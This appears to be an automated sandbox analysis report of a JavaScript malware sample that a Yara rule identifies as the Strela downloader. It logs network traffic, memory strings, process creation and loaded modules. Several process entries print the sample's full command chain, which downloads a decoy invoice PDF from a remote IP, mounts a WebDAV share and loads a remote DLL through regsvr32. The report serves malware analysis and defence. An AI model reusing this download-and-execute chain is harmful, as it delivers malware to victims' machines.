Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1709166677.000001D47EB5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1771410641.0000023A6AEDD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1771516205.0000023A6AF01000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1755660052.0000023A6AEFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1755811577.0000023A6AEDD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1771410641.0000023A6AEDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/;=x
Source: net.exe, 00000006.00000002.1771328061.0000023A6AEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce
Source: svchost.exe, 00000008.00000002.2989818660.0000023425600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1766673192.0000023425858000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1766673192.0000023425858000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1766673192.0000023425858000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1766673192.000002342588D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: svchost.exe, 00000008.00000002.2989129523.00000234202B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1766673192.0000023425902000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1766673192.0000023425902000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1766673192.0000023425902000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7324, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1187225758523111660.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7384:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sfxjyb5b.rag.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1548,i,11986598868323406521,12536262315050438690,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1548,i,11986598868323406521,12536262315050438690,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
